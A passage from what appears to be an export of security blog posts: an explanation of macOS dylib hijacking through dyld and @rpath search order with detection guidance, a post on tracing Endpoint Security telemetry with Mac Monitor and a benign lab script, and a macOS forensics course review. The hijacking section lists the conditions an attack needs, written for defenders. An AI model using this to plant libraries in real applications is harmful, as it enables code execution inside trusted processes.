images, maps them into the process, and resolves imported symbols.\n\nHere our tiny program has one direct dylib dependency:\n\n[Image: otool dependency listing for the sample program showing libSystem.B.dylib]\nhttps://enleak.dev/_next/image?url=%2Fimages%2Fresearch%2Fone-chokepoint-three-loaders%2Fmacos-dylib-dependencies.png&w=3840&q=75\n (https://enleak.dev/images/research/one-chokepoint-three-loaders/macos-dylib-dependencies.png)otool -L program shows the libraries recorded as direct dependencies of the image.\n\nThat dependency uses an absolute install name, so there is no ambiguity about its requested location. The more interesting case—and the one that leads us toward hijacking—is a dependency recorded as something like @rpath/libExample.dylib.\n\n### So how does a Mach-O process actually start?\n\nWhen a user launches a dynamically linked Mach-O executable, the kernel creates the process, maps the executable's initial code and data, loads the dynamic linker identified by LC_LOAD_DYLINKER, and gives dyld control. Our screenshot shows that linker as /usr/lib/dyld.\n\n01Kernel\n\nRecognizes the Mach-O and establishes the process.\n\n↓02dyld\n\nReads dependency and run-path load commands.\n\n↓03Resolution\n\nTurns install names into actual library files.\n\n↓04Linking\n\nMaps images and fixes references between them.\n\n↓05Execution\n\nRuns initializers and reaches the program entry point.\n\nThe internals of modern dyld are highly optimized, but this abstraction is what matters for our investigation: the executable names dependencies, dyld decides which files satisfy those names, and the selected code becomes part of the process.\n\nApple calls the recorded dependency name an install name. If a required library cannot be located or is incompatible, a strongly linked program normally fails to launch. Apple's dynamic-library overview (https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html) describes this handoff from the kernel to dyld and the use of install names to locate dependent libraries.\n\n### Why does dyld need to resolve paths?\n\nAn install name can be an absolute path, but hardcoding one location makes an application brittle. Move the application bundle or reorganize its private frameworks and the dependency breaks. macOS therefore supports path tokens that allow a dependency to be described relative to the executable, the image requesting it, or a list of run paths.\n\n/absolute/path/libExample.dylib\n\nAlready identifies a concrete location. No token expansion is required.\n\n@executable_path\n\nExpands relative to the directory containing the process's main executable.\n\n@loader_path\n\nExpands relative to the Mach-O image whose load command requested the dependency.\n\n@rpath\n\nIs tried against the applicable run-path entries until dyld finds a matching image.\n\nThe difference between @executable_path and @loader_path becomes important when one dylib depends on another. The main executable stays the same, but the image doing the loading may now be a library inside a framework or plug-in directory.\n\n### Why is there a search order?\n\n@rpath is not a directory. It is a placeholder that tells dyld to consult its run-path list. Mach-O images contribute candidate directories through LC_RPATH commands, and those candidates are considered in order. Apple designed this so applications and their private frameworks can remain relocatable instead of depending on one machine-specific location.\n\nDependency@rpath/libParser.dylib+First LC_RPATH@executable_path/../FrameworksSecond LC_RPATH@loader_path/../Libraries↓dyld evaluates…/Frameworks/libParser.dylib…/Libraries/libParser.dylib\n\nApple's run-path documentation (https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html) describes @rpath as a run-time placeholder and states that the configured run-path locations are traversed in their specified order. Apple Developer Technical Support provides the same practical model: LC_LOAD_DYLIB contains the imported install name, while LC_RPATH contributes directories used to resolve an @rpath-relative name.\n\n### Where does dylib hijacking enter the picture?\n\nThe flexibility is legitimate. The security problem appears when an attacker can influence one of the locations that dyld is allowed to consider.\n\nExpected name@rpath/libParser.dylib→Search candidatesattacker-writable pathintended framework path→Loader decisionfirst acceptable match wins→Resultselected dylib enters the host process\n\nSuppose the first applicable run-path directory is writable by an ordinary user while the intended dylib lives in a later directory. If a compatible dylib with the expected filename appears in the earlier location, dyld may select it before reaching the intended copy. That is the heart of @rpath-based dylib hijacking.\n\nA related case involves a weak dependency declared with LC_LOAD_WEAK_DYLIB. A program may continue launching when that optional dylib is absent. A missing weak dependency can therefore become interesting when an attacker can create the expected file in an eligible search location. A missing file alone, however, does not prove exploitability.\n\n### What must be true for hijacking to work?\n\n- 01\n\nThe executable or one of its dependent images must request a dylib through an install name that permits multiple candidate locations.\n\n- 02\n\nAn attacker must be able to place or replace the expected filename in an eligible location that is considered before the intended copy.\n\n- 03\n\nThe supplied dylib must be compatible with the process architecture and satisfy enough of the expected interface for loading to succeed.\n\n- 04\n\nThe application must execute—or load the affected component—so that dyld performs the resolution.\n\n- 05\n\nCode-signing requirements, Hardened Runtime, and Library Validation must permit the selected image to enter the process.\n\nIf the selected dylib contains initialization routines, those routines may run as the image is loaded. Other code may execute later when the application calls an exported function. Either way, the dylib executes inside the host process and inherits that process's existing identity and access.\n\nThat does not automatically produce persistence or privilege escalation. Persistence requires a repeatable trigger, while elevation requires the host process to possess privileges the attacker did not already have. The technique changes where code executes; the value of that execution depends on the host.\n\n### Does code signing stop it?\n\nSometimes—and this is why a modern explanation cannot end with “put the matching file earlier in the search path.”\n\nThe LC_CODE_SIGNATURE record we observed does not contain the entire signature inline. It points to the signature data elsewhere in the Mach-O. macOS can use that identity and integrity information when deciding whether code is acceptable.\n\nFor applications using the Hardened Runtime, Library Validation is enabled by default. Apple states that it prevents the process from loading libraries unless they are signed by Apple or signed with the same Team ID as the main executable. Developers that genuinely need arbitrary third-party plug-ins can request the com.apple.security.cs.disable-library-validation entitlement, weakening that particular boundary.\n\nGatekeeper + notarization\n\nEvaluate how downloaded software is introduced and whether Apple's distribution requirements are satisfied.\n\nCode signing\n\nProvides integrity and identity information for executable code.\n\nHardened Runtime\n\nEnables runtime protections and limits which exceptions an application may request.\n\nLibrary Validation\n\nConstrains which signed libraries may be loaded into a protected process.\n\nPermissions + SIP/SSV\n\nReduce attacker control over protected system paths, but do not make every application or user-owned directory safe.\n\nThese mechanisms overlap, but they are not interchangeable. A notarized executable is not automatically safe because of its reputation, and an unusual dylib is not automatically malicious because of its path. The question remains whether this particular process was expected and permitted to load this particular image from this particular location.\n\n### What should defenders actually look for?\n\nThe strongest signal is not the string @rpath. It is the relationship between a process, its declared resolution context, the selected dylib, and the history of that file.\n\n01Process\n\nWhich executable started, from where, under which parent, user, and signing identity?\n\n02Placement\n\nWas a dylib recently created or modified in an application bundle, plug-in directory, temporary path, or user-writable location?\n\n03Resolution\n\nDo the image's LC_LOAD_DYLIB and LC_RPATH records explain why this exact path was eligible?\n\n04Trust\n\nDoes the dylib's signer, Team ID, hash, architecture, and expected application relationship match the baseline?\n\n05Behavior\n\nWhat did the process do after loading it—spawn children, access credentials, establish persistence, or communicate over the network?\n\nDepending on the product and macOS version, evidence may come from EDR module-load telemetry, Endpoint Security process, file, or memory-mapping events, Unified Logging, or direct examination of the application and dylib. Apple's Endpoint Security API includes events describing file-backed memory mappings, but an EDR supporting ESF does not guarantee that the product retains or exposes every useful field.\n\nMITRE's current detection strategy for Dylib Hijacking (T1574.004) (https://attack.mitre.org/techniques/T1574/004/) follows the same model: correlate unexpected dylib creation or modification, process execution, and unusual module loads instead of treating one path or failed lookup as proof.\n\n### What should we remember?\n\nA Mach-O executable records its dynamic dependencies through load commands. dyld converts those install names into real files, maps the selected dylibs into the process, and connects their symbols. Tokens such as @executable_path, @loader_path, and @rpath make applications relocatable.\n\nDylib hijacking abuses that legitimate resolution process. It succeeds only when an attacker can influence an eligible location, win the selection order, provide a compatible image, trigger the load, and pass the applicable macOS trust controls. For defenders, the useful chokepoint is the moment a process accepts code from a path or trust context that does not fit its normal dependency relationship.\n\n### Works cited\n\n- Overview of Dynamic Libraries (https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html)\n\n- Run-Path Dependent Libraries (https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html)\n\n- Dynamic Library Identification (https://developer.apple.com/forums/thread/736719)\n\n- Disable Library Validation Entitlement (https://developer.apple.com/documentation/BundleResources/Entitlements/com.apple.security.cs.disable-library-validation)\n\n- Endpoint Security mmap Event (https://developer.apple.com/documentation/endpointsecurity/es_events_t/mmap)\n\n- MITRE ATT&CK T1574.004: Dylib Hijacking (https://attack.mitre.org/techniques/T1574/004/)\n\nApple Developer Documentation and MITRE ATT&CK. Accessed 28 July 2026.\n\nFollow to the chokepoint ↓ (https://enleak.dev/writing/one-chokepoint-three-loaders#loader-detection)\n\n03 / loader notesSOELF → .so\n\nld.so\n\n## Linux\n\nWritten by Andy\n\nAn ELF process maps an attacker-controlled shared object through preload configuration or manipulated search paths.\n\n### Resolution surface\n\n- RPATH / RUNPATH\n\n- LD_LIBRARY_PATH\n\n- LD_PRELOAD\n\n### Evidence to carry forward\n\n- execve context\n\n- Mapped shared object\n\n- File + configuration change\n\nFollow to the chokepoint ↓ (https://enleak.dev/writing/one-chokepoint-three-loaders#loader-detection)\n\n04 / convergence\n\n## The Loader Chokepoint\n\nDid a trusted process load an unexpected library from a suspicious path—and what influenced the loader's choice?\n\n01Process\n\nWhich executable started, and under what parent and identity?\n\n02Library\n\nWhich module was selected, and had it just been created or changed?\n\n03Trust + path\n\nWas the source writable, unexpected, unsigned, or outside its baseline?\n\n```\nExecutable declares dependency\n              │\n              ▼\n Loader interprets name + search rules\n              │\n              ▼\n       Library is selected\n              │\n              ▼\n Map → relocate → resolve symbols → execute\n              │\n              ▼\nDetection: Was this the expected library\n           from the expected location\n           for this process?\n\n```\n\nThis is a collaborative article and will evolve as each platform section develops. It is deliberately organized by loader behavior, not by file extension, so the final detections can be compared against one shared model.\n\n## The shared detection question\n\nDid a trusted process load an unexpected library from a suspicious path—and what influenced the loader's choice?\n\nThe completed article will follow that question through five chokepoints:\n\n- Loader configuration and search-path context\n\n- Library writes into searchable or user-writable locations\n\n- Process execution and parent context\n\n- Module-load or memory-map observation\n\n- Path, signer, hash, and baseline validation\n\n## Platform translation\n\n | Detection concept | Windows | macOS | Linux\n\n | Library | .dll | .dylib / framework | .so\n\n | Loader | Windows loader | dyld | ld.so\n\n | Resolution influence | DLL search order | @rpath, DYLD_* | RPATH/RUNPATH, LD_*\n\n | Defender focus | image load + path | process + dylib path | exec context + mapped object\n\nThe three paths converge because detection is ultimately about unexpected dependency resolution, not the suffix of the library file.\n"
    },
    {
      "id": "where-does-macos-telemetry-come-from",
      "title": "Where Does macOS EDR Telemetry Come From?",
      "author": "Enleak",
      "date": "2026-07-20",
      "category": "Detection engineering",
      "summary": "Explore where macOS security events originate and inspect them with Endpoint Security and Mac Monitor.",
      "tags": [
        "macos",
        "endpoint-security",
        "telemetry",
        "detection-engineering"
      ],
      "url": "https://enleak.dev/writing/where-does-macos-telemetry-come-from",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/where-does-macos-telemetry-come-from.txt",
      "text": "DE&TH DIARIES\n\nWhere Does macOS EDR Telemetry Come From?\nBy Enleak | 2026-07-20\nDetection engineering | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/where-does-macos-telemetry-come-from\n\nField note\n\n# Where Does macOS EDR Telemetry Come From?\n\nTracing security-relevant macOS activity through Apple's Endpoint Security Framework and observing it in real time with Mac Monitor.\n\nPublished Jul 20, 202610 min readmacos · endpoint-security · telemetry · detection-engineering\n\nThe host telemetry I knew best came from Windows. Sysmon and the Windows Event Log gave me familiar places to trace process activity. When I started looking more closely at macOS, I realized I could read the events surfaced by an EDR without really knowing how macOS produced them.\n\nI wanted to fill in that gap, which led me to Apple's Endpoint Security Framework (ESF).\n\nIn this post, we'll look at why Apple introduced ESF, inspect the event stream with Mac Monitor, and use a controlled test to reconstruct activity from the operating system's perspective.\n\n## Before ESF: Kernel Extensions\n\nBefore the Endpoint Security Framework existed, security products still needed a way to observe what was happening on macOS. If you wanted to detect process executions, monitor file activity, or enforce security decisions, you needed visibility into the operating system itself.\n\nOne of the primary solutions was kernel extensions, or KEXTs. A KEXT is a loadable module that extends the functionality of the macOS kernel, allowing third-party software to interact directly with the operating system at a very low level.\n\nFor security vendors, this level of access was incredibly powerful. Running inside the kernel meant they could observe system activity as it happened and, in many cases, intervene before an operation completed.\n\nThe downside was that every KEXT became part of the kernel itself. If a kernel extension contained a bug, leaked memory, or crashed, it had the potential to destabilize the entire operating system. As more security products relied on KEXTs, Apple began looking for a safer and more maintainable architecture that could provide the same visibility without requiring third-party code to run inside the kernel.\n\n## Enter the Endpoint Security Framework\n\nWith macOS Catalina (10.15), Apple introduced the Endpoint Security Framework (ESF) as the modern interface for endpoint security products. ESF gives authorized clients access to security-relevant system events without placing third-party monitoring logic inside the kernel.\n\nClients subscribe only to the event types they need. Notification events report activity, while authorization events allow a client to approve or deny an operation before it completes. Apple demonstrates that model in Build an Endpoint Security app (https://developer.apple.com/videos/play/wwdc2020/10159/), its WWDC20 introduction to building an ESF client.\n\nA familiar example of an ESF client is the Falcon sensor for macOS. When CrowdStrike announced support for Catalina and Big Sur in 2020, it explained that Falcon used Apple's Endpoint Security Framework to provide visibility, detection, and protection from user space. Access to ESF is restricted: a client needs an entitlement from Apple and approval through macOS privacy controls.\n\n[Image: CrowdStrike press release excerpt with the paragraph about Falcon and Apple's Endpoint Security Framework highlighted]\nhttps://enleak.dev/_next/image?url=%2Fimages%2Fresearch%2Fmacos-telemetry%2Fcrowdstrike-esf-support.png&w=3840&q=75\n (https://enleak.dev/images/research/macos-telemetry/crowdstrike-esf-support.png)CrowdStrike's 2020 announcement states that Falcon uses Apple's Endpoint Security Framework instead of relying on a kernel extension. Source: CrowdStrike.\n\nRead the full CrowdStrike announcement. (https://ir.crowdstrike.com/node/8241/pdf)\n\nThe result is a supported interface for the visibility endpoint products need, with macOS retaining control of the underlying telemetry and enforcement path.\n\n## The Event Vocabulary\n\nMac Monitor displays the same full ES_EVENT_TYPE_* constants used in Apple's documentation. An AUTH event arrives before an action and can be allowed or denied. A NOTIFY event reports what happened.\n\nThese are the events most relevant to our test:\n\n | Action | Apple event constant | Description\n\n | EXEC | ES_EVENT_TYPE_AUTH_EXEC / ES_EVENT_TYPE_NOTIFY_EXEC | A process is executing an image.\n\n | FORK | ES_EVENT_TYPE_NOTIFY_FORK | A process has forked a child process.\n\n | EXIT | ES_EVENT_TYPE_NOTIFY_EXIT | A process has exited.\n\n | CREATE | ES_EVENT_TYPE_AUTH_CREATE / ES_EVENT_TYPE_NOTIFY_CREATE | A process is creating a file.\n\n | RENAME | ES_EVENT_TYPE_AUTH_RENAME / ES_EVENT_TYPE_NOTIFY_RENAME | A process is renaming a file.\n\n | UNLINK | ES_EVENT_TYPE_AUTH_UNLINK / ES_EVENT_TYPE_NOTIFY_UNLINK | A process is deleting a file.\n\n | OPEN | ES_EVENT_TYPE_AUTH_OPEN / ES_EVENT_TYPE_NOTIFY_OPEN | A process is opening a file.\n\n | WRITE | ES_EVENT_TYPE_NOTIFY_WRITE | A process has written to a file.\n\n | CLOSE | ES_EVENT_TYPE_NOTIFY_CLOSE | A process has closed a file.\n\nThe descriptions above follow Apple's definitions. Apple maintains a complete reference for Endpoint Security event types (https://developer.apple.com/documentation/endpointsecurity/es_event_type_t).\n\n## A Stream, Not a Historical Log\n\nThis is where ESF differs from the log sources investigators may be used to working with.\n\nEndpoint Security delivers events to subscribed clients, but the API is not a historical database. A client has to receive and store the events if we want to examine them later.\n\nAn EDR sensor may subscribe to selected events, add context, and send the results to its backend. Mac Monitor records the events it receives during a trace. Apple's built-in eslogger utility can subscribe to notification events and output them as JSON. In What's new in Endpoint Security (https://developer.apple.com/videos/play/wwdc2022/110345/?time=488), Apple demonstrates sending that output to a file and explains that it can also be sent to Unified Logging.\n\nThat makes ESF especially useful when an incident is ongoing, during a threat hunt, or inside a malware-analysis environment where we can observe behavior as it occurs. For a retrospective investigation, ESF complements persistent sources such as the Apple Unified Log and FSEvents rather than replacing them.\n\nThis distinction was emphasized by Jacob Latonis and Julia Paluch in their SANS DFIR Summit 2025 presentation, “macOS Endpoint Security Framework: Not Another macOS Log Source” (https://www.sans.org/dfirsummit).\n\n## Watching ESF in Action with Mac Monitor\n\nReading about ESF is one thing. Watching it in action is another.\n\nTo see these events for ourselves, we'll use Mac Monitor (https://github.com/Brandon7CC/mac-monitor), an open-source utility created by Brandon Dalton (https://github.com/Brandon7CC). Brandon currently works in macOS research at CrowdStrike, but Mac Monitor is a standalone open-source project. You can install it with Homebrew or download it from the project's releases page (https://github.com/Brandon7CC/mac-monitor/releases).\n\nInstead of relying on an EDR to summarize activity for us, Mac Monitor lets us inspect and filter the Endpoint Security events generated during our test.\n\nThe first time I opened Mac Monitor, I honestly had no idea what I was looking at. EXEC, FORK, EXIT, RENAME, and XPC_CONNECT events were flying by during normal system activity. It quickly became clear how noisy the stream could become without a focused question or filter.\n\n[Image: Mac Monitor event list displaying full Endpoint Security event constants]\nhttps://enleak.dev/_next/image?url=%2Fimages%2Fresearch%2Fmacos-telemetry%2Fmac-monitor-event-stream-crop.png&w=3840&q=75\n (https://enleak.dev/images/research/macos-telemetry/mac-monitor-event-stream-crop.png)Mac Monitor displays the same full event constants used in Apple's documentation.\n\nRather than trying to understand every event at once, we'll keep things simple. In the next section, we'll execute a small test program and use Mac Monitor to answer a few basic questions:\n\n- Which processes executed?\n\n- Which child processes were created?\n\n- What files were created or modified?\n\n- Can we reconstruct the entire sequence of events using only ESF telemetry?\n\nThese are familiar investigative questions, but this time we'll answer them directly from the operating system's event stream.\n\n### Another Capture Option: eslogger\n\nMac Monitor gives us a convenient interface for exploring the event stream, but it isn't the only way to capture ESF telemetry. Apple includes eslogger with macOS Ventura and later. It subscribes to the notification events we name and writes their data as JSON:\n\n```\nsudo eslogger exec fork create rename unlink exit > esf-events.jsonl\n\n```\n\nRun the command before the test, stop it with Control-C afterward, and inspect the JSON Lines output with the tool of your choice. eslogger must run as root, and the responsible process, such as Terminal, needs Full Disk Access. Apple positions it as an analysis and prototyping utility rather than an interface for production applications. The WWDC22 Endpoint Security session (https://developer.apple.com/videos/play/wwdc2022/110345/?time=488) demonstrates the workflow and explains those constraints.\n\n## Generating Our Own Telemetry\n\nUp to this point, we've talked about how ESF works conceptually. Now it's time to generate our own telemetry and watch macOS report each step.\n\nTo keep the experiment focused, I wrote a small Bash script that creates a directory and a file, writes to the file, renames and reads it, then deletes the files and removes the directory. It also collects basic system information and lists the working directory, giving us a few more process executions to follow. Nothing here is malicious. The goal is to generate predictable operating system activity that we can reconstruct afterward.\n\n```\n#!/bin/bash\n\nset -u\n\nLAB_DIR=\"/tmp/mac-monitor-demo-$$\"\nFIRST_FILE=\"$LAB_DIR/esf-original.txt\"\nRENAMED_FILE=\"$LAB_DIR/esf-renamed.txt\"\nSYSTEM_FILE=\"$LAB_DIR/esf-system-info.txt\"\n\necho \"[+] Starting Mac Monitor ESF test\"\necho \"[+] Script PID: $$\"\necho \"[+] Parent PID: $PPID\"\n\nsleep 2\nmkdir \"$LAB_DIR\"\nsleep 2\n/usr/bin/touch \"$FIRST_FILE\"\nsleep 2\n/bin/echo \"Mac Monitor ESF demonstration\" > \"$FIRST_FILE\"\nsleep 2\nmv \"$FIRST_FILE\" \"$RENAMED_FILE\"\nsleep 2\ncat \"$RENAMED_FILE\"\nsleep 2\nuname -a > \"$SYSTEM_FILE\"\nsleep 2\nls -la \"$LAB_DIR\"\nsleep 2\nrm \"$RENAMED_FILE\"\nrm \"$SYSTEM_FILE\"\nsleep 2\nrmdir \"$LAB_DIR\"\n\necho \"[+] Test complete\"\n\n```\n\nI started Mac Monitor before executing the script so it was already subscribed when the first event arrived. The pauses in the script spread the activity out just enough to make it easier to follow live.\n\n[Image: Terminal output from running the Mac Monitor ESF demonstration script]\nhttps://enleak.dev/images/research/macos-telemetry/esf-demo-script-run.png\n (https://enleak.dev/images/research/macos-telemetry/esf-demo-script-run.png)The lab script creates, writes, renames, reads, and removes files under a temporary directory.\n\nEven this short sequence produced a surprisingly rich stream of telemetry. A single line in the script could produce a FORK, an EXEC, the filesystem event we expected, and an EXIT. Across the run, Mac Monitor recorded events including EXEC, FORK, CREATE, RENAME, UNLINK, and EXIT.\n\nOpening the script's initial EXEC event shows how much context ESF makes available. Alongside the event type, Mac Monitor exposes the executable, command line, resolved script path, current working directory, terminal, audit-token values, and code-signing details.\n\n[Image: Mac Monitor metadata for the Bash process executing mac-monitor-demo.sh]\nhttps://enleak.dev/images/research/macos-telemetry/mac-monitor-exec-metadata.png\n (https://enleak.dev/images/research/macos-telemetry/mac-monitor-exec-metadata.png)The initial EXEC event identifies Bash, PID 32165, the command line, resolved script path, working directory, and code-signing information.\n\nThe parent view identifies the zsh process that launched Bash and ties the script back to the terminal session.\n\n[Image: Mac Monitor parent view for the Bash process running the demonstration script]\nhttps://enleak.dev/images/research/macos-telemetry/mac-monitor-parent-details.png\n (https://enleak.dev/images/research/macos-telemetry/mac-monitor-parent-details.png)Mac Monitor connects the Bash process back to its parent zsh process. We'll return to PID, PPID, and responsible PID when we reconstruct the chain.\n\n## Turning the Event Stream into a Timeline\n\nThe raw ESF JSON is extremely detailed, but it isn't pleasant to read as an investigation timeline. The export also contained unrelated background activity captured while the test was running.\n\nTo narrow the view, I had an LLM write a small Python parser. I gave it the export format and the result I wanted: find mac-monitor-demo.sh, identify the script's root PID, follow its descendants, keep only the event types relevant to the experiment, and sort them into a Markdown table. I reviewed the output against the raw events before using it here.\n\n```\npython3 parse_esf_timeline.py exec.json \\\n  --root-match 'mac-monitor-demo\\.sh' \\\n  --output esf-timeline.md\n\n```\n\n[Image: Terminal output from running the ESF timeline parser]\nhttps://enleak.dev/images/research/macos-telemetry/esf-parser-run.png\n (https://enleak.dev/images/research/macos-telemetry/esf-parser-run.png)The LLM-generated parser found PID 32165 as the root, followed 19 descendant PIDs, and wrote 64 relevant events to the timeline.\n\nThe cleaned timeline makes the sequence visible without stripping away the relationships that matter. We can follow Bash creating child processes, see those children execute utilities such as mkdir, touch, mv, and cat, and then connect their filesystem operations and exit events back to the original script.\n\n[Image: Markdown table containing the reconstructed ESF timeline for the demonstration script]\nhttps://enleak.dev/images/research/macos-telemetry/esf-reconstructed-timeline.png\n (https://enleak.dev/images/research/macos-telemetry/esf-reconstructed-timeline.png)A portion of the reconstructed timeline, with timestamps, event types, process identifiers, and a concise description of each action.\n\nNow that the background noise is out of the way, we can walk through the complete chain and compare the script we ran with the events macOS actually reported.\n"
    },
    {
      "id": "so-you-want-to-learn-macos-forensics",
      "title": "So You Want to Learn macOS Forensics?",
      "author": "Enleak",
      "date": "2026-07-11",
      "category": "Forensics",
      "summary": "A practitioner’s review of 13Cubed’s macOS investigations training and the artifacts it teaches.",
      "tags": [
        "digital-forensics",
        "macos-forensics",
        "dfir",
        "training"
      ],
      "url": "https://enleak.dev/writing/so-you-want-to-learn-macos-forensics",
      "status": "published",
      "availability": "full-text",
      "textUrl": "https://deathdiaries.com/terminal/so-you-want-to-learn-macos-forensics.txt",
      "text": "DE&TH DIARIES\n\nSo You Want to Learn macOS Forensics?\nBy Enleak | 2026-07-11\nForensics | full-text\nStatus: published\n\nSource: https://enleak.dev/writing/so-you-want-to-learn-macos-forensics\n\nField note\n\n# So You Want to Learn macOS Forensics?\n\nA practical look at 13Cubed's macOS Investigations course, the artifacts it covers, and what I learned moving from Windows-focused DFIR into macOS forensics.\n\nPublished Jul 11, 2026Updated Jul 11, 20269 min readdigital-forensics · macos-forensics · dfir · training\n\nOriginally published on LinkedIn (https://www.linkedin.com/pulse/so-you-want-learn-macos-forensics-rich-c--pr8ne/).\n\n[Image: So You Want to Learn macOS Forensics? — image 1]\nhttps://enleak.dev/images/research/so-you-want-to-learn-macos-forensics/01.png\n\n### background\n\non Oct 22, 2024 I posted \"digital forensics seems kind of fun (https://x.com/0xEnleak/status/1848688565707764076)\" on X. do you think I knew I would continue expanding my skill sets in DFIR (https://www.ibm.com/think/topics/dfir)? absolutely not lol. I vividly remember that during this time, I was exploring different blue team certifications, resources, and training platforms solely with one goal in mind. be better than everyone else. I have to admit that this mindset sourced from the Blue Lock (https://en.wikipedia.org/wiki/Blue_Lock?trk=article-ssr-frontend-pulse_little-text-block) anime where everyone playing within this \"Blue Lock\" system is striving to be the best striker (https://en.wikipedia.org/wiki/Forward_(association_football)?trk=article-ssr-frontend-pulse_little-text-block) regardless of where on the field they are. I imagined gaining the skills other blue teamers had as a step closer to being the best striker on this hypothetical field. this desire for immersion and technical skills landed me on HTB Sherlocks and CyberDefenders labs. these labs were not only formative but also really gave me an idea of the skill sets i hadn't acquired yet. it started simple at first with using zimmerman (https://ericzimmerman.github.io/) and nirsoft (https://www.nirsoft.net/) tools in order to parse USNJournal or the $MFT. looking at cryptneturlcache, $I30, prefetch, registry keys, amcache, shellbags, browser history, jumplists, lnk files, BAM, recycle bin, thumbcache, PCA, SRUM, windows events, etc etc. each new artifact an additional puzzle piece. using tools like ftk imager, autopsy, hayabusa, chainsaw, volotility, peepdf, binary ninja, aleapp, jadx, mobsf, ghidra, unifiedlogparser, apimonitor, floss, goresym, dnSpy, wireshark, pebear, exeinfo, regshot, all used to help interpret this data. it did not matter to me whether the category was based on android, networking, windows, macOS, linux, malware. I approached each with an insatiable desire to get better and learn more, to catch up to those around me. yeah that may seem corny but I was genuinely elated to consume everything. naturally, 13Cubed became part of the feast too.\n\n[Image: some of the HTB Sherlocks and CyberDefenders rooms i've posted about]\nhttps://enleak.dev/images/research/so-you-want-to-learn-macos-forensics/02.png\n some of the HTB Sherlocks and CyberDefenders rooms i've posted about\n\n### how I accidentally ended up here\n\nwho doesn't appreciate some novelty? and who am I to deny a new challenge? 13Cubed quickly became a name I and other friends grew to know and love. Richard Davis (https://www.linkedin.com/in/davisrichardg?miniProfileUrn=urn%3Ali%3Afs_miniProfile%3AACoAAADhbT8BN70bdMnXc5enoVIRJFGgxJyuQ1g&trk=article-ssr-frontend-pulse_little-text-block) has a bunch of videos where he not only teaches you how to extract and parse the artifacts but also how to interpret them, this was crucial. and at this point, I knew I wanted to take all of his courses. so when my company offered to buy me the investigating windows endpoints and investigating windows memory courses recently, I didn't hesitate AT ALL. thanks Miguel Freitas (https://www.linkedin.com/in/mbie?miniProfileUrn=urn%3Ali%3Afs_miniProfile%3AACoAABmyT2wBJUOjL7OFTNiuuKYoBoTxzYgHiOU&trk=article-ssr-frontend-pulse_little-text-block)! now, I won't be detailing those certifications because there's already so many opinions and great blogs out there speaking highly of its contents and exam. they are worth every penny, trust me. with that being said, I worked through both courses and passed both exams, earning the Gold badge. hmmmm, but now what? where to next? how do I become better? whats funny is that I initially had no interest in macOS forensics, at this point I was deep diving into windows kernel process management and file carving. going over _eprocess blocks, peb, vad tree, flinks and blinks, pool tag scanning, TRIM, wear leveling, slack space, and other deeper topics. but like every character in an anime, there's always a characteristic that nerfs him. now, I'm not sure whether this trait enhances or nerfs my character but once my attention locks onto to something, I go after it. I noticed that macOS was seldom talked about and that my only experience with macOS dfir was within labs on other platforms. so uhhh I went after it and got access to the macOS course. tbh, I didn't think about it much, I just want to learn. no deeper reason. the 0% progress bar is staring at me now.\n\n### the part you actually care about\n\nthe course opens with macOS history and root directory structure, foundational stuff. if you've spent any time in windows forensics the directory layout feels foreign at first. no C:\\Users, no C:\\Windows\\System32. instead you've got /Users, /System, /Library, /private/var. nothing strange if you have any linux experience. SIP hit early and it hit clean. System Integrity Protection, blocks modification of protected system paths even by root, even with sudo. cd into a protected directory, run ls. refused. sudo ls. still refused. I remember sitting there genuinely amused that root can't do anything about it. coming from windows where enough privilege escalation eventually gets you everywhere, this felt like a start contrast. i wont be going over all the items in this \"introduction to macOS\" section, but TCC followed, then Gatekeeper, XProtect, XProtect Remediator, FileVault, etc. this section inspired me to create a \"macOS protections\" visual in exalidraw to better understand it's defense in depth. evidently, i spent longer on this section than I needed to but again, my strategy is never to rush a course, in order to actually learn, you need immersion. my way of immersing myself was by reading blogs and visualizing everything. i know i know, whats a good resource you used to read about all of this? start here: https://eclecticlight.co/2017/12/11/an-introduction-to-extended-attributes-xattrs/ (https://eclecticlight.co/2017/12/11/an-introduction-to-extended-attributes-xattrs/). my favorite part was learning about extended attributes actually. let me summarize quickly. every file has metadata you can't see in Finder and not hidden in the sense of a dotfile, hidden in the sense that it's riding alongside the file in the filesystem and nobody told you it was there. xattr -l dumps it. pretty simple. i ran it on a png in my downloads folder. a dumb meme, coach dapping someone up, downloaded from Google Images LOL.\n\n[Image: So You Want to Learn macOS Forensics? — image 3]\nhttps://enleak.dev/images/research/so-you-want-to-learn-macos-forensics/03.png\n\n```\ncom.apple.metadata:kMDItemWhereFroms: bplist00�_\nhttps://media.tenor.com/UCNJNmOEjMIAAAAe/coach-dap-me-up.png\nhttps://www.google.com/\n\ncom.apple.quarantine: 0081;6a468278;Chrome;765EE0D8-6658-473E-99A0-9515A6178388        \n\n```\n\ntwo attributes were observed. the first one, kMDItemWhereFroms, is a bplist array with two URLs, the direct download URL and the referring page. tenor CDN, then Google. it reminded me of an ad stream. except this isn't a tracke. Chrome stamped this onto the file at download time. the second one, com.apple.quarantine, i didn't know what it meant when i first saw it. four semicolon delimited fields: 0081 is the flags in hex, quarantined, came from the internet. 6a468278 is a hex timestamp. Chrome is the agent that wrote it. and that last string, the UUID, is a receipt number, a key into a SQLite database at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 that holds the full download record. you can find all this info from the resource above.\n\n[Image: So You Want to Learn macOS Forensics? — image 4]\nhttps://enleak.dev/images/research/so-you-want-to-learn-macos-forensics/04.png\n\nthen the unified logs section, which is 12 lessons, more than any other module, and rightfully so. what surprised me was how accessible it was. what I got was a structured, filterable system where knowing the right subsystem predicate basically hands you exactly what you're looking for. log show --predicate 'subsystem == \"com.apple.loginwindow\"' and you've got every sign in event. the course spends real time on authentication and security events, gatekeeper and TCC activity, network and Wi-Fi, bluetooth, each one a different lens on what the machine was doing and when. then we go over the macOS file system and how it's changed from inception to modern day. now, my favorite favorite section. the core forensic artifacts module is where the windows muscle memory helps. FSEvents, per volume log of filesystem changes, same idea as the USN Journal. KnowledgeC, pattern of life data, foreground app usage, screen lock state, same idea as SRUM 